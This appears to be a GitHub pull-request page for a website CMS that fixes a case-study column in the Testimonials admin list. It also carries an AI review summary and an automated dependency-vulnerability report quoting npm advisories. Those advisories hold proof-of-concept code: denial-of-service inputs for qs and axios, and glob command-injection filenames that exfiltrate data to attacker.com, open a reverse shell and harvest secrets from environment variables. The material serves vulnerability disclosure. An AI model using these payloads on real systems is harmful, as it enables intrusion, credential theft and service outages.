fix(case-studies): map _caseStudy field to first title

[IhorMasechko]

• Updated _caseStudy schema mapping;
• Ensures the frontend now correctly displays the title of the first related case study;
• Fixes API errors when saving drafts related to _caseStudy.

Added a new _caseStudy column to the Testimonials piece-type list view that displays the title of the first related case study using the data path _caseStudy.0.title. This update corrects the schema mapping, fixing API errors when saving drafts and ensuring the frontend properly shows the associated case study title in the grid.

[coderabbitai]

Walkthrough

A new column is added to the Testimonials piece-type list view in the admin interface. The _caseStudy column displays the title of the related case study by referencing the data path "_caseStudy.0.title" and is labeled "Related Case Study". This addition enables case study titles to be visible directly in the testimonials grid view without navigating into individual testimonial records.

Possibly related PRs

• refactor(testimonials): remove case study column from admin list #228: Directly conflicts by removing the same _caseStudy column from the testimonials list view configuration.
• [470] Add Case Study field to Testimonials #56: Adds the identical _caseStudy relationship and "Related Case Study" column to the testimonials module, potentially duplicating this work.
• [507] Add fields in Admin UI for Case Study entity #72: Modifies the same website/modules/testimonials/index.js file and the _caseStudy relationship field configuration that this PR depends on.

Pre-merge checks

✅ Passed checks (3 passed)

Check name	Status	Explanation
Description Check	✅ Passed	Check skipped - CodeRabbit’s high-level summary is enabled.
Title check	✅ Passed	The title accurately describes the main change: adding a _caseStudy column mapping to display the first case study title in the testimonials list view, and is concise at 54 characters.
Docstring Coverage	✅ Passed	No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

---

📜 Recent review details

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between e88e94d and dc878b2.

📒 Files selected for processing (1)

• website/modules/testimonials/index.js

🧰 Additional context used

🧠 Learnings (2)

📓 Common learnings

Learnt from: yuramax
Repo: speedandfunction/website PR: 84
File: website/modules/case-studies-page/views/index.html:87-90
Timestamp: 2025-05-14T09:44:56.398Z
Learning: For the Case Study cards in website/modules/case-studies-page/views/index.html, the "type" and "industry" fields are temporarily hard-coded with values "Mobile Development" and "Manufacturing" as placeholders. These will be replaced with dynamic data ({{ article.type }} and {{ article.industry }}) in a future task.

📚 Learning: 2025-05-14T09:44:56.398Z

Learnt from: yuramax
Repo: speedandfunction/website PR: 84
File: website/modules/case-studies-page/views/index.html:87-90
Timestamp: 2025-05-14T09:44:56.398Z
Learning: For the Case Study cards in website/modules/case-studies-page/views/index.html, the "type" and "industry" fields are temporarily hard-coded with values "Mobile Development" and "Manufacturing" as placeholders. These will be replaced with dynamic data ({{ article.type }} and {{ article.industry }}) in a future task.

Applied to files:

• website/modules/testimonials/index.js

⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (4)

• GitHub Check: lint
• GitHub Check: security-scan
• GitHub Check: e2e-tests
• GitHub Check: unit-tests

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

[github-actions]

🔍 Vulnerabilities of apostrophe-cms:test

📦 Image Reference apostrophe-cms:test

digest	sha256:d9a96d904816988d8ddb29253fe376820de333fca951bf0d1fdb4bb67f870abe
vulnerabilities
platform	linux/amd64
size	291 MB
packages	985

📦 Base Image node:23-alpine

also known as	23-alpine3.22 23.11-alpine 23.11-alpine3.22 23.11.1-alpine 23.11.1-alpine3.22
digest	sha256:b9d38d589853406ff0d4364f21969840c3e0397087643aef8eede40edbb6c7cd
vulnerabilities

form-data 4.0.2 (npm) pkg:npm/form-data@4.0.2 Use of Insufficiently Random Values Affected range >=4.0.0 <4.0.4 Fixed version 4.0.4 CVSS Score 9.4 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.172% EPSS Percentile 39th percentile Description Summary form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: can observe other values produced by Math.random in the target application, and can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose) PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). Impact For an application to be vulnerable, it must: Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

node-forge 1.3.1 (npm) pkg:npm/node-forge@1.3.1 Uncontrolled Recursion Affected range <1.3.2 Fixed version 1.3.2 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.110% EPSS Percentile 30th percentile Description Summary An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs. Details An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects. Impact This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing. This vulnerability impacts the ans1.fromDer function in node-forge before patched version 1.3.2. Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability. Interpretation Conflict Affected range <1.3.2 Fixed version 1.3.2 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.042% EPSS Percentile 13th percentile Description Summary CVE-2025-12816 has been reserved by CERT/CC Description An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions. Details A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives. This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type). Impact This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data. This vulnerability impacts the ans1.validate function in node-forge before patched version 1.3.2. https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js. The following components in node-forge are impacted. lib/asn1.js lib/x509.js lib/pkcs12.js lib/pkcs7.js lib/rsa.js lib/pbe.js lib/ed25519.js Any downstream application using these components is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.

qs 6.14.0 (npm) pkg:npm/qs@6.14.0 Improper Input Validation Affected range <6.14.1 Fixed version 6.14.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.152% EPSS Percentile 36th percentile Description Summary The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable. Details The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays. PoC Test 1 - Basic bypass: npm install qs const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) Test 2 - DoS demonstration: const qs = require('qs'); const attack = 'a[]=' + Array(10000).fill('x').join('&a[]='); const result = qs.parse(attack, { arrayLimit: 100 }); console.log(result.a.length); // Output: 10000 (should be max 100) Configuration: arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2) Use bracket notation: a[]=value (not indexed a[0]=value) Impact Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection. Attack scenario: Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times) Application parses with qs.parse(query, { arrayLimit: 100 }) qs ignores limit, parses all 100,000 elements into array Server memory exhausted → application crashes or becomes unresponsive Service unavailable for all users Real-world impact: Single malicious request can crash server No authentication required Easy to automate and scale Affects any endpoint parsing query strings with bracket notation Suggested Fix Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159. Current code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null)) ? [] : utils.combine([], leaf); // No arrayLimit check } Fixed code: if (root === '[]' && options.parseArrays) { // Use currentArrayLength already calculated at line 147-151 if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior) if (currentArrayLength >= options.arrayLimit) { obj = options.plainObjects ? { __proto__: null } : {}; obj[currentArrayLength] = leaf; } else { obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null)) ? [] : utils.combine([], leaf); } } This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

qs 6.13.0 (npm) pkg:npm/qs@6.13.0 Improper Input Validation Affected range <6.14.1 Fixed version 6.14.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.152% EPSS Percentile 36th percentile Description Summary The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable. Details The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays. PoC Test 1 - Basic bypass: npm install qs const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) Test 2 - DoS demonstration: const qs = require('qs'); const attack = 'a[]=' + Array(10000).fill('x').join('&a[]='); const result = qs.parse(attack, { arrayLimit: 100 }); console.log(result.a.length); // Output: 10000 (should be max 100) Configuration: arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2) Use bracket notation: a[]=value (not indexed a[0]=value) Impact Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection. Attack scenario: Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times) Application parses with qs.parse(query, { arrayLimit: 100 }) qs ignores limit, parses all 100,000 elements into array Server memory exhausted → application crashes or becomes unresponsive Service unavailable for all users Real-world impact: Single malicious request can crash server No authentication required Easy to automate and scale Affects any endpoint parsing query strings with bracket notation Suggested Fix Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159. Current code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null)) ? [] : utils.combine([], leaf); // No arrayLimit check } Fixed code: if (root === '[]' && options.parseArrays) { // Use currentArrayLength already calculated at line 147-151 if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior) if (currentArrayLength >= options.arrayLimit) { obj = options.plainObjects ? { __proto__: null } : {}; obj[currentArrayLength] = leaf; } else { obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null)) ? [] : utils.combine([], leaf); } } This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

qs 6.5.3 (npm) pkg:npm/qs@6.5.3 Improper Input Validation Affected range <6.14.1 Fixed version 6.14.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.152% EPSS Percentile 36th percentile Description Summary The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable. Details The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays. PoC Test 1 - Basic bypass: npm install qs const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) Test 2 - DoS demonstration: const qs = require('qs'); const attack = 'a[]=' + Array(10000).fill('x').join('&a[]='); const result = qs.parse(attack, { arrayLimit: 100 }); console.log(result.a.length); // Output: 10000 (should be max 100) Configuration: arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2) Use bracket notation: a[]=value (not indexed a[0]=value) Impact Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection. Attack scenario: Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times) Application parses with qs.parse(query, { arrayLimit: 100 }) qs ignores limit, parses all 100,000 elements into array Server memory exhausted → application crashes or becomes unresponsive Service unavailable for all users Real-world impact: Single malicious request can crash server No authentication required Easy to automate and scale Affects any endpoint parsing query strings with bracket notation Suggested Fix Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159. Current code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null)) ? [] : utils.combine([], leaf); // No arrayLimit check } Fixed code: if (root === '[]' && options.parseArrays) { // Use currentArrayLength already calculated at line 147-151 if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior) if (currentArrayLength >= options.arrayLimit) { obj = options.plainObjects ? { __proto__: null } : {}; obj[currentArrayLength] = leaf; } else { obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null)) ? [] : utils.combine([], leaf); } } This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

glob 10.4.5 (npm) pkg:npm/glob@10.4.5 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Affected range >=10.2.0 <10.5.0 Fixed version 11.1.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H EPSS Score 0.044% EPSS Percentile 14th percentile Description Summary The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. Details Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true: stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) Technical Flow: User runs glob -c <command> <pattern> CLI finds files matching the pattern Matched filenames are collected into an array Command is executed with matched filenames as arguments using shell: true Shell interprets metacharacters in filenames as command syntax Malicious filenames execute arbitrary commands Affected Component: CLI Only: The vulnerability affects only the command-line interface Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems) Attack Surface: Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc. Any directory where attackers can control filenames (PR branches, archives, user uploads) CI/CD pipelines using glob -c on untrusted content PoC Setup Malicious File: mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)' Trigger Vulnerability: # Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" Result: The echo command executes normally Additionally: The $(touch injected_poc) in the filename is evaluated by the shell A new file injected_poc is created, proving command execution Any command can be injected this way with full user privileges Advanced Payload Examples: Data Exfiltration: # Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' Reverse Shell: # Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' Environment Variable Harvesting: # Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' Impact Arbitrary Command Execution: Commands execute with full privileges of the user running glob CLI No privilege escalation required - runs as current user Access to environment variables, file system, and network Real-World Attack Scenarios: 1. CI/CD Pipeline Compromise: Malicious PR adds files with crafted names to repository CI pipeline uses glob -c to process files (linting, testing, deployment) Commands execute in CI environment with build secrets and deployment credentials Potential for supply chain compromise through artifact tampering 2. Developer Workstation Attack: Developer clones repository or extracts archive containing malicious filenames Local build scripts use glob -c for file processing Developer machine compromise with access to SSH keys, tokens, local services 3. Automated Processing Systems: Services using glob CLI to process uploaded files or external content File uploads with malicious names trigger command execution Server-side compromise with potential for lateral movement 4. Supply Chain Poisoning: Malicious packages or themes include files with crafted names Build processes using glob CLI automatically process these files Wide distribution of compromise through package ecosystems Platform-Specific Risks: POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL Mixed Environments: CI systems often use Linux containers regardless of developer platform Affected Products Ecosystem: npm Package name: glob Component: CLI only (src/bin.mts) Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched) Introduced: v10.2.0 (first release with CLI containing -c/--cmd option) Patched versions: 11.1.0and 10.5.0 Scope Limitation: Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable Remediation Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible. If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead. As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

async 1.5.2 (npm) pkg:npm/async@1.5.2 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <2.6.4 Fixed version 2.6.4, 3.2.2 CVSS Score 7.8 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 0.706% EPSS Percentile 72nd percentile Description A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

tar-fs 2.1.3 (npm) pkg:npm/tar-fs@2.1.3 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range >=2.0.0 <2.1.4 Fixed version 2.1.4 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.024% EPSS Percentile 6th percentile Description Impact v3.1.0, v2.1.3, v1.16.5 and below Patches Has been patched in 3.1.1, 2.1.4, and 1.16.6 Workarounds You can use the ignore option to ignore non files/directories. ignore (_, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' } Credit Reported by: Mapta / BugBunny_ai

async 0.9.2 (npm) pkg:npm/async@0.9.2 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <2.6.4 Fixed version 2.6.4, 3.2.2 CVSS Score 7.8 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 0.706% EPSS Percentile 72nd percentile Description A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

jws 4.0.0 (npm) pkg:npm/jws@4.0.0 Improper Verification of Cryptographic Signature Affected range =4.0.0 Fixed version 4.0.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.008% EPSS Percentile 1st percentile Description Overview An improper signature verification vulnerability exists when using auth0/node-jws with the HS256 algorithm under specific conditions. Am I Affected? You are affected by this vulnerability if you meet all of the following preconditions: Application uses the auth0/node-jws implementation of JSON Web Signatures, versions <=3.2.2 || 4.0.0 Application uses the jws.createVerify() function for HMAC algorithms Application uses user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines You are NOT affected by this vulnerability if you meet any of the following preconditions: Application uses the jws.verify() interface (note: auth0/node-jsonwebtoken users fall into this category and are therefore NOT affected by this vulnerability) Application uses only asymmetric algorithms (e.g. RS256) Application doesn’t use user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines Fix Upgrade auth0/node-jws version to version 3.2.3 or 4.0.1 Acknowledgement Okta would like to thank Félix Charette for discovering this vulnerability.

tar-fs 3.0.9 (npm) pkg:npm/tar-fs@3.0.9 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range >=3.0.0 <3.1.1 Fixed version 3.1.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.024% EPSS Percentile 6th percentile Description Impact v3.1.0, v2.1.3, v1.16.5 and below Patches Has been patched in 3.1.1, 2.1.4, and 1.16.6 Workarounds You can use the ignore option to ignore non files/directories. ignore (_, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' } Credit Reported by: Mapta / BugBunny_ai

axios 1.8.4 (npm) pkg:npm/axios@1.8.4 Allocation of Resources Without Limits or Throttling Affected range >=1.0.0 <1.12.0 Fixed version 1.12.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.026% EPSS Percentile 7th percentile Description Summary When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response. This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'. Details The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob. Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231): const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); const protocol = parsed.protocol || supportedProtocols[0]; if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, ... }); } convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); return settle(resolve, reject, { data: convertedData, status: 200, ... }); } The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27): export default function fromDataURI(uri, asBlob, options) { ... if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATA_URL_PATTERN.exec(uri); ... const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { return new _Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, ...); } The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks. It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams. As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory. In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs. PoC const axios = require('axios'); async function main() { // this example decodes ~120 MB const base64Size = 160_000_000; // 120 MB after decoding const base64 = 'A'.repeat(base64Size); const uri = 'data:application/octet-stream;base64,' + base64; console.log('Generating URI with base64 length:', base64.length); const response = await axios.get(uri, { responseType: 'arraybuffer' }); console.log('Received bytes:', response.data.length); } main().catch(err => { console.error('Error:', err.message); }); Run with limited heap to force a crash: node --max-old-space-size=100 poc.js Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error: <--- Last few GCs ---> … FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory 1: 0x… node::Abort() … … Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS. import express from "express"; import morgan from "morgan"; import axios from "axios"; import http from "node:http"; import https from "node:https"; import { PassThrough } from "node:stream"; const keepAlive = true; const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 }); const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 }); const axiosClient = axios.create({ timeout: 10000, maxRedirects: 5, httpAgent, httpsAgent, headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" }, validateStatus: c => c >= 200 && c < 400 }); const app = express(); const PORT = Number(process.env.PORT || 8081); const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb"; app.use(express.json({ limit: BODY_LIMIT })); app.use(morgan("combined")); app.get("/healthz", (req,res)=>res.send("ok")); /** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first 